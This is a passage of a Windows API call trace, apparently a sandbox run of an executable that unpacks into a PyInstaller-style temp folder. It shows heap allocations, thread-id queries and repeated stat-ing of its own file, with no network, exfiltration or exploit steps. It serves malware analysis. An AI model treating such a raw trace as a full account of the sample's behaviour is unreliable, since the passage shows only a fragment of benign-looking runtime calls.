(HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba40 [0075.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaa0 [0075.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba90 [0075.577] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abaa0, Size=0x14) returned 0x3183a20 [0075.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba90 | out: hHeap=0x2ad0000) returned 1 [0075.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84398 | out: hHeap=0x2ad0000) returned 1 [0075.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c842d8 | out: hHeap=0x2ad0000) returned 1 [0075.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba40 | out: hHeap=0x2ad0000) returned 1 [0075.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a20 | out: hHeap=0x2ad0000) returned 1 [0075.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e1b58 [0075.578] GetCurrentThreadId () returned 0x9b0 [0075.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x334ee68 [0075.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ee68 | out: hHeap=0x2ad0000) returned 1 [0075.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de7a0 [0075.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7a0 | out: hHeap=0x2ad0000) returned 1 [0075.578] GetCurrentThreadId () returned 0x9b0 [0075.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.578] GetCurrentThreadId () returned 0x9b0 [0075.578] GetCurrentThreadId () returned 0x9b0 [0075.578] GetCurrentThreadId () returned 0x9b0 [0075.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de650 [0075.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de650 | out: hHeap=0x2ad0000) returned 1 [0075.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8b8 [0075.579] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de8b8, Size=0x18) returned 0x3183a40 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a40 | out: hHeap=0x2ad0000) returned 1 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.579] GetCurrentThreadId () returned 0x9b0 [0075.580] GetCurrentThreadId () returned 0x9b0 [0075.580] GetLastError () returned 0x0 [0075.580] GetLastError () returned 0x0 [0075.580] GetLastError () returned 0x0 [0075.580] GetLastError () returned 0x0 [0075.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843e0 | out: hHeap=0x2ad0000) returned 1 [0075.580] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb50 [0075.580] GetLastError () returned 0x0 [0075.580] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.580] GetFileType (hFile=0x2f0) returned 0x1 [0075.581] GetLastError () returned 0x0 [0075.581] GetCurrentThreadId () returned 0x9b0 [0075.581] GetLastError () returned 0x0 [0075.581] GetFileType (hFile=0x2f0) returned 0x1 [0075.581] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0075.581] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.581] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.581] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.581] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.581] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.581] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.581] GetLastError () returned 0x0 [0075.581] GetCurrentThreadId () returned 0x9b0 [0075.581] GetLastError () returned 0x0 [0075.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.582] GetLastError () returned 0x0 [0075.582] GetLastError () returned 0x0 [0075.582] GetCurrentThreadId () returned 0x9b0 [0075.582] GetLastError () returned 0x0 [0075.582] GetCurrentThreadId () returned 0x9b0 [0075.582] GetLastError () returned 0x0 [0075.582] GetLastError () returned 0x0 [0075.582] GetCurrentThreadId () returned 0x9b0 [0075.582] GetLastError () returned 0x0 [0075.582] GetCurrentThreadId () returned 0x9b0 [0075.582] GetLastError () returned 0x0 [0075.582] GetLastError () returned 0x0 [0075.582] GetCurrentThreadId () returned 0x9b0 [0075.582] GetLastError () returned 0x0 [0075.582] GetCurrentThreadId () returned 0x9b0 [0075.583] GetCurrentThreadId () returned 0x9b0 [0075.583] GetLastError () returned 0x0 [0075.583] GetLastError () returned 0x0 [0075.583] GetCurrentThreadId () returned 0x9b0 [0075.583] GetLastError () returned 0x0 [0075.583] GetLastError () returned 0x0 [0075.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0075.583] CloseHandle (hObject=0x2f0) returned 1 [0075.583] GetLastError () returned 0x0 [0075.583] GetCurrentThreadId () returned 0x9b0 [0075.583] GetLastError () returned 0x0 [0075.583] GetLastError () returned 0x0 [0075.583] GetCurrentThreadId () returned 0x9b0 [0075.584] GetLastError () returned 0x0 [0075.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ee68 | out: hHeap=0x2ad0000) returned 1 [0075.584] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0x23f) returned 0x337c2b8 [0075.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.584] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84248, Size=0x20) returned 0x30282d8 [0075.584] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x2a19328 [0075.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19328 | out: hHeap=0x2ad0000) returned 1 [0075.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf4) returned 0x31d09a0 [0075.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d09a0 | out: hHeap=0x2ad0000) returned 1 [0075.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba40 [0075.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e1ce0 [0075.584] GetCurrentThreadId () returned 0x9b0 [0075.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183bc0 [0075.584] GetCurrentThreadId () returned 0x9b0 [0075.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.585] GetCurrentThreadId () returned 0x9b0 [0075.585] GetCurrentThreadId () returned 0x9b0 [0075.585] GetCurrentThreadId () returned 0x9b0 [0075.585] GetCurrentThreadId () returned 0x9b0 [0075.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.585] GetCurrentThreadId () returned 0x9b0 [0075.585] GetCurrentThreadId () returned 0x9b0 [0075.585] GetLastError () returned 0x0 [0075.585] GetLastError () returned 0x0 [0075.585] GetLastError () returned 0x0 [0075.585] GetLastError () returned 0x0 [0075.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84278 | out: hHeap=0x2ad0000) returned 1 [0075.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abae0 [0075.586] GetLastError () returned 0x0 [0075.586] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9218, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.586] GetFileType (hFile=0x2f0) returned 0x1 [0075.586] GetLastError () returned 0x0 [0075.586] GetCurrentThreadId () returned 0x9b0 [0075.586] GetLastError () returned 0x0 [0075.586] GetFileType (hFile=0x2f0) returned 0x1 [0075.586] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b9294 | out: lpFileInformation=0x9b9294) returned 1 [0075.586] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0075.586] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0075.586] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0075.586] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0075.587] FileTimeToLocalFileTime (in: lpFileTime=0x9b9298, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0075.587] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0075.587] GetLastError () returned 0x0 [0075.587] GetCurrentThreadId () returned 0x9b0 [0075.587] GetLastError () returned 0x0 [0075.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abae0 | out: hHeap=0x2ad0000) returned 1 [0075.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.587] GetLastError () returned 0x0 [0075.587] GetLastError () returned 0x0 [0075.587] GetCurrentThreadId () returned 0x9b0 [0075.587] GetLastError () returned 0x0 [0075.587] GetCurrentThreadId () returned 0x9b0 [0075.587] GetLastError () returned 0x0 [0075.587] GetLastError () returned 0x0 [0075.587] GetCurrentThreadId () returned 0x9b0 [0075.587] GetLastError () returned 0x0 [0075.587] GetCurrentThreadId () returned 0x9b0 [0075.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38e8) returned 0x334ee68 [0075.588] GetLastError () returned 0x0 [0075.589] GetLastError () returned 0x0 [0075.589] GetCurrentThreadId () returned 0x9b0 [0075.589] GetLastError () returned 0x0 [0075.589] GetCurrentThreadId () returned 0x9b0 [0075.589] GetCurrentThreadId () returned 0x9b0 [0075.589] GetLastError () returned 0x0 [0075.589] GetLastError () returned 0x0 [0075.589] GetLastError () returned 0x0 [0075.589] GetLastError () returned 0x0 [0075.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.589] CloseHandle (hObject=0x2f0) returned 1 [0075.589] GetLastError () returned 0x0 [0075.589] GetLastError () returned 0x0 [0075.590] GetLastError () returned 0x0 [0075.590] GetLastError () returned 0x0 [0075.590] GetLastError () returned 0x0 [0075.590] GetLastError () returned 0x0 [0075.591] GetLastError () returned 0x0 [0075.592] GetLastError () returned 0x0 [0075.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0a60 | out: hHeap=0x2ad0000) returned 1 [0075.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337de90, Size=0x9370) returned 0x337de90 [0075.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ee68 | out: hHeap=0x2ad0000) returned 1 [0075.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84290 [0075.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84290, Size=0x20) returned 0x3028328 [0075.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a18ea8 [0075.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23f) returned 0x2a90298 [0075.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x298) returned 0x337c2b8 [0075.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ea8, Size=0x64) returned 0x2a196c8 [0075.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a196c8, Size=0x8c) returned 0x2ac0ca0 [0075.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ca0, Size=0xb8) returned 0x2cdec68 [0075.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cdec68, Size=0xe8) returned 0x325a5d0 [0075.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a5d0, Size=0x120) returned 0x2c37148 [0075.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x270) returned 0x337c558 [0075.593] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37148, Size=0x160) returned 0x325f9b0 [0075.593] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f9b0, Size=0x1a8) returned 0x3028938 [0075.593] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c30190 [0075.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4c1) returned 0x337c7d0 [0075.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2dc) returned 0x337cca0 [0075.594] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30190, Size=0x250) returned 0x2ac4960 [0075.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2d8) returned 0x337cf88 [0075.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x261) returned 0x337d268 [0075.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x274) returned 0x337d4d8 [0075.594] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4960, Size=0x2b4) returned 0x2c2bc10 [0075.594] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2bc10, Size=0x324) returned 0x2bac990 [0075.595] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bac990, Size=0x3a4) returned 0x2ba7800 [0075.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21e) returned 0x337d758 [0075.595] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7800, Size=0x434) returned 0x31d4b50 [0075.595] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d4b50, Size=0x4d4) returned 0x325dd80 [0075.595] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325dd80, Size=0x588) returned 0x3262bf8 [0075.595] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262bf8, Size=0x654) returned 0x3266f20 [0075.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3266f20 | out: hHeap=0x2ad0000) returned 1 [0075.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337de90 | out: hHeap=0x2ad0000) returned 1 [0075.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e0a80 [0075.596] GetCurrentThreadId () returned 0x9b0 [0075.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.596] GetCurrentThreadId () returned 0x9b0 [0075.596] GetCurrentThreadId () returned 0x9b0 [0075.596] GetCurrentThreadId () returned 0x9b0 [0075.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de998 [0075.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de998 | out: hHeap=0x2ad0000) returned 1 [0075.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0075.596] GetCurrentThreadId () returned 0x9b0 [0075.596] GetCurrentThreadId () returned 0x9b0 [0075.596] GetLastError () returned 0x0 [0075.596] GetLastError () returned 0x0 [0075.597] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\cffi", lpFindFileData=0x9b90c8 | out: lpFindFileData=0x9b90c8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x3342ce0, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x3342ce0, ftLastWriteTime.dwHighDateTime=0x9b90f8, nFileSizeHigh=0x9b910c, nFileSizeLow=0x73013d47, dwReserved0=0x9b9104, dwReserved1=0x0, cFileName="\xec\x91\x9b", cAlternateFileName="")) returned 0xffffffff [0075.597] GetLastError () returned 0x2 [0075.597] GetLastError () returned 0x2 [0075.597] GetLastError () returned 0x2 [0075.597] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\cffi", nBufferLength=0x104, lpBuffer=0x9b9208, lpFilePart=0x9b9060 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\cffi", lpFilePart=0x9b9060*="cffi") returned 0x30 [0075.597] GetLastError () returned 0x2 [0075.597] GetLastError () returned 0x2 [0075.597] GetLastError () returned 0x2 [0075.597] GetLastError () returned 0x2 [0075.597] GetLastError () returned 0x2 [0075.597] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9b90c8 | out: lpFindFileData=0x9b90c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffba6, dwReserved1=0x0, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055920 [0075.598] FileTimeToLocalFileTime (in: lpFileTime=0x9b90dc, lpLocalFileTime=0x9b90ac | out: lpLocalFileTime=0x9b90ac) returned 1 [0075.598] FileTimeToSystemTime (in: lpFileTime=0x9b90ac, lpSystemTime=0x9b90b4 | out: lpSystemTime=0x9b90b4) returned 1 [0075.598] FileTimeToLocalFileTime (in: lpFileTime=0x9b90d4, lpLocalFileTime=0x9b90ac | out: lpLocalFileTime=0x9b90ac) returned 1 [0075.598] FileTimeToSystemTime (in: lpFileTime=0x9b90ac, lpSystemTime=0x9b90b4 | out: lpSystemTime=0x9b90b4) returned 1 [0075.598] FileTimeToLocalFileTime (in: lpFileTime=0x9b90cc, lpLocalFileTime=0x9b90ac | out: lpLocalFileTime=0x9b90ac) returned 1 [0075.598] FileTimeToSystemTime (in: lpFileTime=0x9b90ac, lpSystemTime=0x9b90b4 | out: lpSystemTime=0x9b90b4) returned 1 [0075.598] FindClose (in: hFindFile=0x1055920 | out: hFindFile=0x1055920) returned 1 [0075.598] GetLastError () returned 0x2 [0075.598] GetCurrentThreadId () returned 0x9b0 [0075.598] GetCurrentThreadId () returned 0x9b0 [0075.598] GetCurrentThreadId () returned 0x9b0 [0075.598] GetCurrentThreadId () returned 0x9b0 [0075.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.598] GetCurrentThreadId () returned 0x9b0 [0075.598] GetCurrentThreadId () returned 0x9b0 [0075.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de880 [0075.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de880 | out: hHeap=0x2ad0000) returned 1 [0075.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6c0 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de6c0, Size=0x14) returned 0x3183a60 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] GetCurrentThreadId () returned 0x9b0 [0075.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.600] GetCurrentThreadId () returned 0x9b0 [0075.600] GetCurrentThreadId () returned 0x9b0 [0075.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.600] GetCurrentThreadId () returned 0x9b0 [0075.600] GetCurrentThreadId () returned 0x9b0 [0075.600] GetCurrentThreadId () returned 0x9b0 [0075.600] GetCurrentThreadId () returned 0x9b0 [0075.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.600] GetCurrentThreadId () returned 0x9b0 [0075.600] GetCurrentThreadId () returned 0x9b0 [0075.600] GetLastError () returned 0x2 [0075.600] GetLastError () returned 0x2 [0075.600] GetLastError () returned 0x2 [0075.600] GetLastError () returned 0x2 [0075.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84188 | out: hHeap=0x2ad0000) returned 1 [0075.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb50 [0075.601] GetLastError () returned 0x2 [0075.601] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8bc8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.601] GetFileType (hFile=0x2f0) returned 0x1 [0075.601] GetLastError () returned 0x0 [0075.601] GetCurrentThreadId () returned 0x9b0 [0075.601] GetLastError () returned 0x0 [0075.601] GetFileType (hFile=0x2f0) returned 0x1 [0075.601] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b8c44 | out: lpFileInformation=0x9b8c44) returned 1 [0075.601] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c58, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.601] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.601] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c50, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.601] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.601] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c48, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.601] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.602] GetLastError () returned 0x0 [0075.602] GetCurrentThreadId () returned 0x9b0 [0075.602] GetLastError () returned 0x0 [0075.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 